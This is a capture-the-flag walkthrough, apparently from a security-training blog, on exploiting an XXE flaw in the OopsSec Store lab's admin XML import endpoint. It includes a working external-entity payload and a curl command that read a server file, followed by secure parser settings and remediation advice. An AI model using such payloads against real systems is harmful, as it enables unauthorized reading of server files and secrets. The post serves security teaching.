DEV Community

Cover image for An error message gave me the path. The XML parser gave me the file
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

An error message gave me the path. The XML parser gave me the file

Exploiting an insecure XML parser in the supplier order import feature to read arbitrary server-side files and retrieve a flag.

The OopsSec Store admin panel has a supplier order import page that parses XML. The parser resolves external entities, so we can use it to read arbitrary files off the server.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

Head to http://localhost:3000.

Prerequisites -- gaining admin access

The import feature is admin-only. You'll need to get admin access first through another vulnerability.

Reconnaissance

The supplier import page

Once you have admin access, the dashboard at /admin has a "Supplier Orders" link pointing to /admin/suppliers.

Import Supplier Order

The page has a textarea for pasting XML and an "Import Order" button. A sample template is already filled in:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0042</orderId>
  <total>1250.00</total>
  <notes>Standard delivery — net 30 terms</notes>
</order>
Enter fullscreen mode Exit fullscreen mode

The API

Submitting the form sends a POST to /api/admin/suppliers/import-order with Content-Type: application/xml. The response comes back with the parsed fields:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "id": "...",
    "supplierId": "SUP-001",
    "orderId": "PO-2026-0042",
    "total": 1250,
    "notes": "Standard delivery — net 30 terms",
    "createdAt": "..."
  }
}
Enter fullscreen mode Exit fullscreen mode

The notes field comes straight from the XML input. That's our injection point.

Exploiting the XXE vulnerability

The target file

Send malformed XML (missing required fields, bad structure) and the endpoint gives back verbose errors. The response includes a debug object that leaks the absolute path to a file:

{
  "error": "Missing required fields: supplierId and orderId.",
  "debug": {
    "config": "/absolute/path/to/flag-xxe.txt",
    "received": { "supplierId": null, "orderId": null }
  }
}
Enter fullscreen mode Exit fullscreen mode

That's flag-xxe.txt at the project root.

The payload

XML supports Document Type Definitions (DTDs) that let you define entities. A SYSTEM entity tells the parser to load content from an external resource:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
  <!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">
]>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0001</orderId>
  <total>0</total>
  <notes>&xxe;</notes>
</order>
Enter fullscreen mode Exit fullscreen mode

When the parser hits &xxe;, it reads the file and drops its contents into notes.

Send it

Paste it into the import form, or fire it off with curl:

curl -X POST http://localhost:3000/api/admin/suppliers/import-order \
  -H "Content-Type: application/xml" \
  -H "Cookie: authToken=<your-admin-jwt>" \
  -d '<?xml version="1.0"?><!DOCTYPE order [<!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">]><order><supplierId>SUP-001</supplierId><orderId>PO-XXE</orderId><total>0</total><notes>&xxe;</notes></order>'
Enter fullscreen mode Exit fullscreen mode

Flag

The flag

The file contents come back in notes:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "supplierId": "SUP-001",
    "orderId": "PO-XXE",
    "total": 0,
    "notes": "# Supplier Integration API Configuration\n# Generated automatically — do not edit\n\napi_key=OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}\nendpoint=https://suppliers.oss-store.internal/api/v2\ntimeout=30000\n"
  }
}
Enter fullscreen mode Exit fullscreen mode

The flag is OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}.

Secure implementation

// VULNERABLE — resolves external entities from user input
const doc = libxmljs.parseXmlString(rawXml, { noent: true, dtdload: true });

// SECURE — disable DTD processing entirely
const doc = libxmljs.parseXmlString(rawXml);
// Additionally: strip or reject any DOCTYPE declarations before parsing
Enter fullscreen mode Exit fullscreen mode

After the fix:

Fix

Vulnerability chain

This exploit chains two bugs:

  1. Admin access, for example via JWT forgery (CWE-347) or mass assignment (CWE-915)
  2. XXE injection (CWE-611) -- the XML parser resolves external entity declarations, letting you read arbitrary files off the server

Remediation

To fix this in a real app:

  • Disable DTD processing in your XML parsers. Most libraries have flags to reject DOCTYPE declarations outright.
  • Disable external entity resolution. Tell the parser to ignore SYSTEM and PUBLIC entity declarations.
  • Use JSON for data exchange where you can. JSON doesn't have entity expansion.
  • Strip DOCTYPE declarations from XML before parsing.
  • Run the app process with minimal file system permissions. It shouldn't be able to read config files it doesn't need.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
Enter fullscreen mode Exit fullscreen mode

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)